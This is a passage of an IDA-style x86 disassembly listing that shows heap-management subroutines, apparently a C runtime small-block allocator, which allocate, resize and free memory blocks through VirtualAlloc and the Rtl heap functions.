ds:dword_4DF52C, edi mov ds:dword_4DF534, eax loc_41E3E6: ; CODE XREF: sub_41E0C2+38j ; sub_41E0C2+227j pop edi pop esi pop ebx leave retn sub_41E0C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E3EB proc near ; CODE XREF: sub_41B3F2+77p ; sub_41B703+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_4DF538 mov edx, ds:dword_4DF53C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E42B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E43B ; --------------------------------------------------------------------------- loc_41E42B: ; CODE XREF: sub_41E3EB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E43B: ; CODE XREF: sub_41E3EB+3Ej mov eax, ds:dword_4DF530 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E462 loc_41E449: ; CODE XREF: sub_41E3EB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E462 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E449 loc_41E462: ; CODE XREF: sub_41E3EB+5Cj ; sub_41E3EB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E4E0 mov ebx, edx loc_41E469: ; CODE XREF: sub_41E3EB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E485 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E483 add ebx, 14h jmp short loc_41E469 ; --------------------------------------------------------------------------- loc_41E483: ; CODE XREF: sub_41E3EB+91j cmp ebx, eax loc_41E485: ; CODE XREF: sub_41E3EB+83j jnz short loc_41E4E0 loc_41E487: ; CODE XREF: sub_41E3EB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E49D cmp dword ptr [ebx+8], 0 jnz short loc_41E49A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E487 ; --------------------------------------------------------------------------- loc_41E49A: ; CODE XREF: sub_41E3EB+A5j cmp ebx, [ebp+var_4] loc_41E49D: ; CODE XREF: sub_41E3EB+9Fj jnz short loc_41E4C5 mov ebx, edx loc_41E4A1: ; CODE XREF: sub_41E3EB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E4B5 cmp dword ptr [ebx+8], 0 jnz short loc_41E4B3 add ebx, 14h jmp short loc_41E4A1 ; --------------------------------------------------------------------------- loc_41E4B3: ; CODE XREF: sub_41E3EB+C1j cmp ebx, eax loc_41E4B5: ; CODE XREF: sub_41E3EB+BBj jnz short loc_41E4C5 call sub_41E6F4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E4D9 loc_41E4C5: ; CODE XREF: sub_41E3EB:loc_41E49Dj ; sub_41E3EB:loc_41E4B5j push ebx call sub_41E7A5 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E4E0 loc_41E4D9: ; CODE XREF: sub_41E3EB+D8j xor eax, eax jmp loc_41E6EF ; --------------------------------------------------------------------------- loc_41E4E0: ; CODE XREF: sub_41E3EB+7Aj ; sub_41E3EB:loc_41E485j ... mov ds:dword_4DF530, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E507 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E53E loc_41E507: ; CODE XREF: sub_41E3EB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E53B loc_41E524: ; CODE XREF: sub_41E3EB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E524 loc_41E53B: ; CODE XREF: sub_41E3EB+137j mov edx, [ebp+var_4] loc_41E53E: ; CODE XREF: sub_41E3EB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E567 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E567: ; CODE XREF: sub_41E3EB+16Dj ; sub_41E3EB+183j test ecx, ecx jl short loc_41E570 shl ecx, 1 inc edi jmp short loc_41E567 ; --------------------------------------------------------------------------- loc_41E570: ; CODE XREF: sub_41E3EB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E58D push 3Fh pop esi loc_41E58D: ; CODE XREF: sub_41E3EB+19Dj cmp esi, edi jz loc_41E6A2 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E5FE cmp edi, 20h jge short loc_41E5CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E5FB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E5FE ; --------------------------------------------------------------------------- loc_41E5CD: ; CODE XREF: sub_41E3EB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E5FB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E5FE ; --------------------------------------------------------------------------- loc_41E5FB: ; CODE XREF: sub_41E3EB+1D6j ; sub_41E3EB+203j mov ebx, [ebp+arg_0] loc_41E5FE: ; CODE XREF: sub_41E3EB+1B0j ; sub_41E3EB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E6AE mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E69F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E670 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E65E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E65E: ; CODE XREF: sub_41E3EB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E69F ; --------------------------------------------------------------------------- loc_41E670: ; CODE XREF: sub_41E3EB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E689 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E689: ; CODE XREF: sub_41E3EB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E69F: ; CODE XREF: sub_41E3EB+24Ej ; sub_41E3EB+283j mov ecx, [ebp+var_8] loc_41E6A2: ; CODE XREF: sub_41E3EB+1A4j test ecx, ecx jz short loc_41E6B1 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E6B1 ; --------------------------------------------------------------------------- loc_41E6AE: ; CODE XREF: sub_41E3EB+229j mov ecx, [ebp+var_8] loc_41E6B1: ; CODE XREF: sub_41E3EB+2B9j ; sub_41E3EB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E6E7 cmp ebx, ds:dword_4DF534 jnz short loc_41E6E7 mov ecx, [ebp+var_4] cmp ecx, ds:dword_4DF52C jnz short loc_41E6E7 and ds:dword_4DF534, 0 loc_41E6E7: ; CODE XREF: sub_41E3EB+2E0j ; sub_41E3EB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E6EF: ; CODE XREF: sub_41E3EB+F0j pop edi pop esi pop ebx leave retn sub_41E3EB endp ; =============== S U B R O U T I N E ======================================= sub_41E6F4 proc near ; CODE XREF: sub_41E3EB+CCp mov eax, ds:dword_4DF538 mov ecx, ds:dword_4DF528 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E737 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push ds:dword_4DF53C push edi push ds:dword_4DF544 call ds:dword_42819C ; RtlReAllocateHeap cmp eax, edi jz short loc_41E787 add ds:dword_4DF528, 10h mov ds:dword_4DF53C, eax mov eax, ds:dword_4DF538 loc_41E737: ; CODE XREF: sub_41E6F4+11j mov ecx, ds:dword_4DF53C push 41C4h push 8 lea eax, [eax+eax*4] push ds:dword_4DF544 lea esi, [ecx+eax*4] call ds:dword_428148 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41E787 push 4 push 2000h push 100000h push edi call ds:dword_4281C8 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E78B push dword ptr [esi+10h] push edi push ds:dword_4DF544 call ds:dword_428144 ; RtlFreeHeap loc_41E787: ; CODE XREF: sub_41E6F4+30j ; sub_41E6F4+67j xor eax, eax jmp short loc_41E7A2 ; --------------------------------------------------------------------------- loc_41E78B: ; CODE XREF: sub_41E6F4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc ds:dword_4DF538 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E7A2: ; CODE XREF: sub_41E6F4+95j pop edi pop esi retn sub_41E6F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E7A5 proc near ; CODE XREF: sub_41E3EB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E7B7: ; CODE XREF: sub_41E7A5+19j test eax, eax jl short loc_41E7C0 shl eax, 1 inc ebx jmp short loc_41E7B7 ; --------------------------------------------------------------------------- loc_41E7C0: ; CODE XREF: sub_41E7A5+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E7D5: ; CODE XREF: sub_41E7A5+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E7D5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call ds:dword_4281C8 ; VirtualAlloc test eax, eax jnz short loc_41E808 or eax, 0FFFFFFFFh jmp loc_41E89B ; --------------------------------------------------------------------------- loc_41E808: ; CODE XREF: sub_41E7A5+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E84E lea eax, [edi+10h] loc_41E815: ; CODE XREF: sub_41E7A5+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E815 loc_41E84E: ; CODE XREF: sub_41E7A5+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E88B or [eax+4], edi loc_41E88B: ; CODE XREF: sub_41E7A5+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E89B: ; CODE XREF: sub_41E7A5+5Ej pop edi pop esi pop ebx leave retn sub_41E7A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E8A0 proc near ; CODE XREF: sub_41B3F2+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41EA4E test bl, 1 jnz loc_41EA47 add ebx, ecx cmp esi, ebx jg loc_41EA47 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E917 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E917: ; CODE XREF: sub_41E8A0+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E967 cmp ecx, 20h jnb short loc_41E943 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E967 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E967 ; --------------------------------------------------------------------------- loc_41E943: ; CODE XREF: sub_41E8A0+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E967 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E967: ; CODE XREF: sub_41E8A0+7Dj ; sub_41E8A0+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41EA35 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E9A1 push 3Fh pop edi loc_41E9A1: ; CODE XREF: sub_41E8A0+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41EA23 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E9FA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E9ED mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E9ED: ; CODE XREF: sub_41E8A0+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41EA1F ; --------------------------------------------------------------------------- loc_41E9FA: ; CODE XREF: sub_41E8A0+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EA10 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41EA10: ; CODE XREF: sub_41E8A0+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41EA1F: ; CODE XREF: sub_41E8A0+158j shr edx, cl or [eax], edx loc_41EA23: ; CODE XREF: sub_41E8A0+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41EA38 ; --------------------------------------------------------------------------- loc_41EA35: ; CODE XREF: sub_41E8A0+E5j mov edx, [ebp+arg_4] loc_41EA38: ; CODE XREF: sub_41E8A0+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41EB8E ; --------------------------------------------------------------------------- loc_41EA47: ; CODE XREF: sub_41E8A0+52j ; sub_41E8A0+5Cj xor eax, eax jmp loc_41EB91 ; --------------------------------------------------------------------------- loc_41EA4E: ; CODE XREF: sub_41E8A0+49j jge loc_41EB8E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41EA79 push 3Fh pop esi loc_41EA79: ; CODE XREF: sub_41E8A0+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41EB08 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EA92 push 3Fh pop esi loc_41EA92: ; CODE XREF: sub_41E8A0+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41EAE1 cmp esi, 20h jnb short loc_41EABD mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41EADE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EADE ; --------------------------------------------------------------------------- loc_41EABD: ; CODE XREF: sub_41E8A0+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EADE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EADE: ; CODE XREF: sub_41E8A0+214j ; sub_41E8A0+21Bj ... mov ebx, [ebp+arg_4] loc_41EAE1: ; CODE XREF: sub_41E8A0+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41EB08 push 3Fh pop esi loc_41EB08: ; CODE XREF: sub_41E8A0+1DDj ; sub_41E8A0+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41EB85 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41EB5C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EB4F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41EB4F: ; CODE XREF: sub_41E8A0+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41EB81 ; --------------------------------------------------------------------------- loc_41EB5C: ; CODE XREF: sub_41E8A0+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41EB72 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41EB72: ; CODE XREF: sub_41E8A0+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41EB81: ; CODE XREF: sub_41E8A0+2BAj shr edx, cl or [eax], edx loc_41EB85: ; CODE XREF: sub_41E8A0+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41EB8E: ; CODE XREF: sub_41E8A0+1A2j ; sub_41E8A0:loc_41EA4Ej push 1 pop eax loc_41EB91: ; CODE XREF: sub_41E8A0+1A9j pop edi pop esi pop ebx leave retn sub_41E8A0 endp ; =============== S U B R O U T I N E ======================================= sub_41EB96 proc near ; CODE XREF: sub_41DFF2+41p ; sub_41EE8E:loc_41F05Dp cmp ds:dword_43CF70, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41EBAA mov esi, offset off_43CF60 jmp short loc_41EBC7 ; --------------------------------------------------------------------------- loc_41EBAA: ; CODE XREF: sub_41EB96+Bj push 2020h push 0 push ds:dword_4DF544 call ds:dword_428148 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_41ECD3 loc_41EBC7: ; CODE XREF: sub_41EB96+12j mov ebp, ds:dword_4281C8 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_41ECBC push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_41ECAE mov eax, offset off_43CF60 cmp esi, eax jnz short loc_41EC26 cmp ds:off_43CF60, 0 jnz short loc_41EC16 mov ds:off_43CF60, eax loc_41EC16: ; CODE XREF: sub_41EB96+79j cmp ds:off_43CF64, 0 jnz short loc_41EC3B mov ds:off_43CF64, eax jmp short loc_41EC3B ; --------------------------------------------------------------------------- loc_41EC26: ; CODE XREF: sub_41EB96+70j mov [esi], eax mov eax, ds:off_43CF64 mov [esi+4], eax mov ds:off_43CF64, esi mov eax, [esi+4] mov [eax], esi loc_41EC3B: ; CODE XREF: sub_41EB96+87j ; sub_41EB96+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EC5D: ; CODE XREF: sub_41EB96+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EC5D push ebx push 0 push edi call sub_41B780 add esp, 0Ch loc_41EC86: ; CODE XREF: sub_41EB96+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41ECAA or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EC86 ; --------------------------------------------------------------------------- loc_41ECAA: ; CODE XREF: sub_41EB96+F7j mov eax, esi jmp short loc_41ECD5 ; --------------------------------------------------------------------------- loc_41ECAE: ; CODE XREF: sub_41EB96+63j push 8000h push 0 push edi call ds:dword_4281C4 ; VirtualFree loc_41ECBC: ; CODE XREF: sub_41EB96+4Bj cmp esi, offset off_43CF60 jz short loc_41ECD3 push esi push 0 push ds:dword_4DF544 call ds:dword_428144 ; RtlFreeHeap loc_41ECD3: ; CODE XREF: sub_41EB96+2Bj ; sub_41EB96+12Cj xor eax, eax loc_41ECD5: ; CODE XREF: sub_41EB96+116j pop edi pop esi pop ebp pop ebx retn sub_41EB96 endp ; =============== S U B R O U T I N E ======================================= sub_41ECDA proc near ; CODE XREF: sub_41ED30+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call ds:dword_4281C4 ; VirtualFree cmp ds:off_43EF80, esi jnz short loc_41ECFF mov eax, [esi+4] mov ds:off_43EF80, eax loc_41ECFF: ; CODE XREF: sub_41ECDA+1Bj cmp esi, offset off_43CF60 jz short loc_41ED27 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push ds:dword_4DF544 call ds:dword_428144 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41ECDA+2Bj or ds:dword_43CF70, 0FFFFFFFFh pop esi retn sub_41ECDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED30 proc near ; CODE XREF: sub_41EE49+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, ds:off_43CF64 push edi loc_41ED3D: ; CODE XREF: sub_41ED30+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EDDB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41ED56: ; CODE XREF: sub_41ED30+72j cmp dword ptr [edi], 0F0h jnz short loc_41ED97 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call ds:dword_4281C4 ; VirtualFree test eax, eax jz short loc_41ED97 or dword ptr [edi], 0FFFFFFFFh dec ds:dword_4DDF34 mov eax, [esi+0Ch] test eax, eax jz short loc_41ED8C cmp eax, edi jbe short loc_41ED8F loc_41ED8C: ; CODE XREF: sub_41ED30+56j mov [esi+0Ch], edi loc_41ED8F: ; CODE XREF: sub_41ED30+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EDA4 loc_41ED97: ; CODE XREF: sub_41ED30+2Cj ; sub_41ED30+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41ED56 loc_41EDA4: ; CODE XREF: sub_41ED30+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EDDB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EDDB push 1 lea eax, [ecx+20h] pop edx loc_41EDBB: ; CODE XREF: sub_41ED30+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EDCC inc edx add eax, 8 cmp edx, 400h jl short loc_41EDBB loc_41EDCC: ; CODE XREF: sub_41ED30+8Ej cmp edx, 400h jnz short loc_41EDDB push ecx call sub_41ECDA pop ecx loc_41EDDB: ; CODE XREF: sub_41ED30+11j ; sub_41ED30+7Dj ... cmp esi, ds:off_43CF64 jz short loc_41EDED cmp [ebp+arg_0], 0 jg loc_41ED3D loc_41EDED: ; CODE XREF: sub_41ED30+B1j pop edi pop esi pop ebx leave retn sub_41ED30 endp ; =============== S U B R O U T I N E ======================================= sub_41EDF2 proc near ; CODE XREF: sub_41B2A1+3Ap ; sub_41B3F2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43CF60 push esi mov ecx, edx loc_41EDFE: ; CODE XREF: sub_41EDF2+1Cj cmp eax, [ecx+10h] jbe short loc_41EE08 cmp eax, [ecx+14h] jb short loc_41EE10 loc_41EE08: ; CODE XREF: sub_41EDF2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EE45 jmp short loc_41EDFE ; --------------------------------------------------------------------------- loc_41EE10: ; CODE XREF: sub_41EDF2+14j test al, 0Fh jnz short loc_41EE45 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EE45 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EE45: ; CODE XREF: sub_41EDF2+1Aj ; sub_41EDF2+20j ... xor eax, eax pop esi retn sub_41EDF2 endp ; =============== S U B R O U T I N E ======================================= sub_41EE49 proc near ; CODE XREF: sub_41B2A1+4Dp ; sub_41B3F2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EE8D inc ds:dword_4DDF34 cmp ds:dword_4DDF34, 20h jnz short locret_41EE8D push 10h call sub_41ED30 pop ecx locret_41EE8D: ; CODE XREF: sub_41EE49+2Bj ; sub_41EE49+3Aj retn sub_41EE49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE8E proc near ; CODE XREF: sub_41B3F2+1ACp ; sub_41B703+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ds:off_43EF80 push edi loc_41EE9C: ; CODE XREF: sub_41EE8E+C6j mov edx, [esi+10h] cmp edx, 